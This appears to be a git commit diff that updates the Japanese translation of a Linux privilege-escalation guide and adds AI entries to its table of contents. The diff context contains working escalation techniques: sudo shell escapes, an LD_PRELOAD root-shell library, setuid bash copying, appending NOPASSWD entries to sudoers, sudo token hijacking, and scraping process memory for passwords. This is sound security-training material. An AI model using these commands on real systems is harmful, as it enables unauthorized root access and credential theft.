Translated ['src/linux-hardening/privilege-escalation/README.md'] to ja

This commit is contained in:
Translator 2025-06-07 16:45:21 +00:00
parent 02aab4d91b
commit adc54b36db
13 changed files with 92 additions and 3329 deletions

View File

@ -793,6 +793,29 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -850,17 +873,6 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()

View File

@ -32,8 +32,8 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここにあります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\
他に**コンパイル済みのエクスプロイト**を見つけることができるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
好な脆弱なカーネルのリストといくつかの**コンパイル済みのエクスプロイト**はここで見つけることができます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\
他に**コンパイル済みのエクスプロイト**が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
そのウェブからすべての脆弱なカーネルバージョンを抽出するには、次のようにします:
```bash
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg署名の検証に失敗しました
**smasher2 box of HTB**の**例**を確認して、この脆弱性がどのように悪用されるかを確認してください。
**smasher2 box of HTB**の**例**を確認して、この脆弱性がどのように悪用されるかをてください。
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
```
### 脆弱なソフトウェアのインストール
**インストールされたパッケージとサービスのバージョン**を確認してください。特権昇格に利用できる古いNagiosのバージョンがあるかもしれません…\
**インストールされたパッケージとサービスのバージョン**を確認してください。特権昇格に悪用される可能性のある古いNagiosのバージョンがあるかもしれません…\
より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをお勧めします。
```bash
dpkg -l #Debian
@ -158,7 +158,7 @@ rpm -qa #Centos
```
SSHアクセスがある場合、**openVAS**を使用して、マシンにインストールされている古いおよび脆弱なソフトウェアをチェックすることもできます。
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
> [!NOTE] > _これらのコマンドはほとんど役に立たない多くの情報を表示するため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかをチェックするOpenVASや同様のアプリケーションを推奨します_
## プロセス
@ -169,7 +169,7 @@ ps -ef
top -n 1
```
常に可能な [**electron/cef/chromiumデバッガー**]が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** は、プロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
また、**プロセスのバイナリに対する権を確認してください**。もしかしたら誰かを上書きできるかもしれません。
また、**プロセスのバイナリに対する権を確認してください**。誰かを上書きできるかもしれません。
### プロセス監視
@ -178,7 +178,7 @@ top -n 1
### プロセスメモリ
サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
通常、他のユーザーに属するプロセスのメモリを読むには**root権**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
通常、他のユーザーに属するプロセスのメモリを読むには**root権**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。
> [!WARNING]
@ -230,7 +230,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
通常、`/dev/mem`**root****kmem** グループのみに読み取り可能です。
```
strings /dev/mem -n10 | grep -i PASS
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
プロセスのメモリをダンプするには、次のものを使用できます:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、自分が所有するプロセスをダンプできます
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要)
### プロセスメモリからの資格情報
@ -281,14 +281,14 @@ Press Ctrl-C to end monitoring without terminating the process.
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
プロセスをダンプすることができます(プロセスのメモリをダンプするさまざまな方法を見つけるには前のセクションを参照してください)し、メモリ内の資格情報を検索します:
プロセスをダンプすることができます(プロセスのメモリをダンプするさまざまな方法を見つけるには前のセクションを参照してください)し、メモリ内の資格情報を検索します:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するには root 権限が必要です。
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の資格情報を盗む** ことができ、いくつかの **よく知られたファイル** からも取得します。正しく動作するには root 権限が必要です。
| 機能 | プロセス名 |
| ------------------------------------------------ | --------------------- |
@ -296,8 +296,8 @@ strings *.dump | grep -i password
| Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon |
| LightDM (Ubuntu デスクトップ) | lightdm |
| VSFTPd (アクティブ FTP 接続) | vsftpd |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron using a script with a wildcard (Wildcard Injection)
もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例:
もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -368,7 +368,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始するすべてのプロセスを監視してリストします)。
**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始されるすべてのプロセスを監視し、リストします)。
### 見えないcronジョブ
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
次に、書き込み可能なsystemd PATHフォルダー内にある**相対パスバイナリ**と**同じ名前**の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。
次に、書き込み可能なsystemd PATHフォルダー内に**相対パスバイナリ**と同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。
**`man systemd.service`でサービスについて詳しく学びましょう。**
@ -413,13 +413,13 @@ systemctl list-timers --all
```
### Writable timers
タイマーを変更できる場合、systemd.unitのいくつかの実行`.service``.target`などを実行させることができます
タイマーを変更できる場合、systemd.unitのいくつかの実行を実行させることができます例えば、`.service``.target`)。
```bash
Unit=backdoor.service
```
ドキュメントでは、Unitについて次のように説明されています
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値は接尾辞を除いたタイマー単位と同じ名前のサービスにデフォルト設定されます(上記参照)アクティブにされるユニット名とタイマー単位のユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照)アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一にすることが推奨されます。
したがって、この権限を悪用するには、次のことが必要です:
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) 特権昇格
もし**`ctr`**コマンドを使用できることがわかった場合、**特権を昇格させるためにそれを悪用できるかもしれないので**、以下のページを読んでください
もし**`ctr`**コマンドを使用できることがわかった場合、以下のページを読んでください。**特権を昇格させるためにそれを悪用できるかもしれません**
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 特権昇格
もし**`runc`**コマンドを使用できることがわかった場合、**特権を昇格させるためにそれを悪用できるかもしれないので**、以下のページを読んでください
もし**`runc`**コマンドを使用できることがわかった場合、以下のページを読んでください。**特権を昇格させるためにそれを悪用できるかもしれません**
{{#ref}}
runc-privilege-escalation.md
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Busは、アプリケーションが効率的に相互作用し、データを共有できるようにする高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コール信号は、音楽プレーヤーをミュートさせ、ユーザー体験を向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザー体験を向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの累積的な効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。
指定されたユーザーやグループないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
指定されたユーザーやグループないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -621,7 +621,7 @@ lsof -i
```
### Sniffing
トラフィックをスニッフィングできるか確認してください。できる場合、いくつかの認証情報を取得できる可能性があります
トラフィックをスニッフィングできるか確認してください。できる場合、いくつかの認証情報を取得できるかもしれません
```
timeout 1 tcpdump
```
@ -629,7 +629,7 @@ timeout 1 tcpdump
### 一般的な列挙
**who**で自分を確認し、どの**privileges**を持っているか、システムにどの**users**がいるか、どれが**login**できるか、どれが**root privileges**を持っているかを確認します
**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**できるか、どのユーザーが**root privileges**を持っているかを確認してください
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null
```
### Big UID
一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグがありました。詳細情報は[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)、[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および[here](https://twitter.com/paragonsec/status/1071152249529884674)を参照してください。\
**これを利用する**には、**`systemd-run -t /bin/bash`**を使用します。
一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**これを利用する**には: **`systemd-run -t /bin/bash`**
### Groups
あなたがルート権を付与する可能性のある**グループのメンバー**であるかどうかを確認してください:
ルート権を付与する可能性のある**グループのメンバー**であるか確認してください:
{{#ref}}
interesting-groups-linux-pe/
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
### Clipboard
クリップボード内に興味深いものがあるかどうかを確認してください(可能であれば)。
クリップボード内に興味深いものがあるか確認してください(可能であれば)。
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@ -698,12 +698,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### SUDO and SUID
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには:
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。次のコマンドを使用して確認してください:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
いくつかの**予期しないコマンドにより、ファイルを読み書きしたり、コマンドを実行したりすることができます。** 例えば:
一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを許可します。** 例えば:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -714,7 +714,7 @@ less>! <shell_comand>
```
### NOPASSWD
Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でいくつかのコマンドを実行できる場合があります。
Sudoの設定により、ユーザーは他のユーザーの権限でパスワードを知らずにコマンドを実行できる場合があります。
```
$ sudo -l
User demo may run the following commands on crashlab:
@ -765,7 +765,7 @@ sudo less
```
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **を使って奇妙な SUID バイナリの内容を確認してください)**
[実行するペイロードの例。](payloads-to-execute.md)
[Payload examples to execute.](payloads-to-execute.md)
### コマンドパスを持つ SUID バイナリ
@ -776,22 +776,22 @@ sudo less
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
その、suidバイナリを呼び出すと、この関数が実行されます。
そのため、suidバイナリを呼び出すと、この関数が実行されます。
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します:
- ローダーは、実ユーザーID_ruid_が有効ユーザーID_euid_と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。
- suid/sgidの実行可能ファイルに対しては、suid/sgidでもある標準パスのライブラリのみがプリロードされます。
特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
```
Defaults env_keep += LD_PRELOAD
```
**/tmp/pe.c**として保存
**/tmp/pe.c**として保存してください
```c
#include <stdio.h>
#include <sys/types.h>
@ -809,12 +809,12 @@ system("/bin/bash");
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
最後に、**特権を昇格させる** 実行中
最後に、**特権を昇格**させて実行します。
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> 攻撃者が**LD_LIBRARY_PATH**環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。
> 攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。
```c
#include <stdio.h>
#include <stdlib.h>
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めることになります:
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります:
```c
#include <stdio.h>
#include <stdlib.h>
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することを目的としています。
このコードは、コンパイルして実行すると、ファイルの権限を操作し、特権のあるシェルを実行することで特権を昇格させることを目的としています。
上記のCファイルを共有オブジェクト.soファイルにコンパイルするには
```bash
@ -915,12 +915,12 @@ https://gtfoargs.github.io/
### Sudoトークンの再利用
**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすること特権を昇格させる**ことができます。
**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることによって特権を昇格させる**ことができます。
特権を昇格させるための要件:
- あなたはすでに "_sampleuser_" としてシェルを持っています
- "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- "_sampleuser_" は **過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です
- `gdb` にアクセス可能です(アップロードできる必要があります)
@ -928,13 +928,13 @@ https://gtfoargs.github.io/
これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にrootシェルは取得できませんので、`sudo su` を実行してください):
- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にルートシェルは取得できませんので、`sudo su` を実行してください):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- **番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します**
- **二のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -946,7 +946,7 @@ sudo su
```
### /var/run/sudo/ts/\<Username>
フォルダ内の作成されたファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
フォルダ内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -954,12 +954,12 @@ sudo su
### /etc/sudoers, /etc/sudoers.d
ファイル `/etc/sudoers``/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**書き込む**ことができるファイルがあれば、**特権を昇格させる**ことができるでしょう。
**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**書き込み**ができるファイルがあれば、**特権を昇格させる**ことができるでしょう。
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
この権限を悪用することができるのは、書くことができる場合です。
書き込みができれば、この権限を悪用できます。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -973,7 +973,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。 `/etc/doas.conf` でその設定を確認することを忘れないでください。
`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。 `/etc/doas.conf` でその設定を確認してください。
```
permit nopass demo as root cmd vim
```
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所プログラムによって使用されます。
`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所プログラムによって使用されます。
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1143,7 +1143,7 @@ rootがsshを使用してログインできるかどうかを指定します。
### AuthorizedKeysFile
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`から始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**`/`始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
SSH エージェントフォワーディングを使用すると、**サーバーにキー**(パスフレーズなし!)を置くのではなく、**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用ます。
SSH エージェントフォワーディングを使用すると、**サーバーに置いたままのキー**(パスフレーズなし!)の代わりに **ローカルの SSH キーを使用**できます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプ**することができ、**初期ホスト**にある **キー**を使用できます。
このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
```
@ -1160,10 +1160,10 @@ ForwardAgent yes
```
`Host``*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。
ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\
ファイル`/etc/sshd_config`キーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができますデフォルトはallowです)。
ファイル`/etc/ssh_config`はこの**オプション**を**上書き**し、この設定を許可または拒否することができます。\
ファイル`/etc/sshd_config``AllowAgentForwarding`というキーワードを使用してssh-agentフォワーディングを**許可**または**拒否**することができます(デフォルトは許可です)。
Forward Agentが環境に設定されている場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
環境でForward Agentが設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**
{{#ref}}
